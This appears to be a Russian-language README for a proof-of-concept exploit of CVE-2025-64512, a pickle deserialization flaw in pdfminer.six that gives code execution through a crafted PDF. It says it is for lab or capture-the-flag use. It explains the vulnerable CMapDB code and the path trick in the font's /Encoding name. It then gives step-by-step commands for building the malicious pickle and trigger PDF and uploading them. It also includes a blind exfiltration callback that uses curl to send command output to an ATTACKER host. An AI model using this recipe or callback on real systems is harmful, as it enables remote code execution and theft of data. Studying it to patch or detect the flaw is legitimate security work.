
PoC для CVE-2025-64512: RCE через десериализацию pickle в CMapDB библиотеки pdfminer.six с помощью специально созданного PDF-файла
CMapDB в pdfminer.sixДоказательство концепции (PoC) уязвимости десериализации в pdfminer.six,
которая приводит к выполнению произвольного кода при разборе специально созданного PDF.
ЦЕЛЬ / ПРАВОВОЙ ОТКАЗ Этот репозиторий предоставлен только для образовательных целей и авторизованных исследований безопасности. Он воспроизводит публично раскрытую, исправленную CVE. Не используйте его против систем, которыми вы не владеете или не имеете письменного разрешения на тестирование. Автор не несёт ответственности за любое неправомерное использование. Предполагаемое окружение: Hack The Box / VulnHub / локальная лаборатория.
pdfminer.six до 2025050620250506В cmapdb.py функция CMapDB._load_data() читает CMap-файл, имя которого
формируется из записи /Encoding шрифта PDF и передаёт содержимое в
pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Три свойства в совокупности делают эту уязвимость эксплуатируемой:
pickle.loads() для данных, контролируемых атакующим, -> выполнение произвольного кода.os.path.join() отбрасывает
каталог поиска и открывает файл по этому точному пути..pickle.gz добавляется автоматически, поэтому путь указывается без
расширения.Для эксплуатации необходимо загрузить два файла в уязвимое веб-приложение:
payload.pickle.gz — gzip-сжатый pickle, чей __reduce__
выполняет команду и возвращает dict в форме CMap (чтобы разбор продолжался
корректно после срабатывания нагрузки).trigger.pdf — минимальный PDF, использующий Type0/CIDFont, чей шрифт
/Encoding указывает на абсолютный путь к pickle (без расширения).Важны две детали на уровне PDF:
CMapDB.get_cmap() достигается только через CIDFont (шрифт Type0
с записью DescendantFonts), а не через обычный шрифт Type1./, поэтому закодированный путь должен
начинаться с #2f, чтобы сохранить ведущий слэш абсолютного пути.
Внутренние слэши также заменяются на #2f, поскольку / является разделителем имени.Когда цель обрабатывает PDF (например, фоновый наблюдатель, вызывающий
pdf2txt.py), CMapDB._load_data() открывает pickle и выполняет
команду.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
Проверено сквозным образом на pdfminer.six 20250416 (уязвимая версия): запуск
pdf2txt.py trigger.pdf выполняет команду из нагрузки и завершается с кодом 0.
Команда нагрузки работает вслепую; выводите данные через callback, например:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| Файл | Назначение |
|---|---|
make_payload.py | Создаёт вредоносный payload.pickle.gz |
make_trigger_pdf.py | Создаёт триггерный PDF с /Encoding и корректными xref-смещениями |
20250506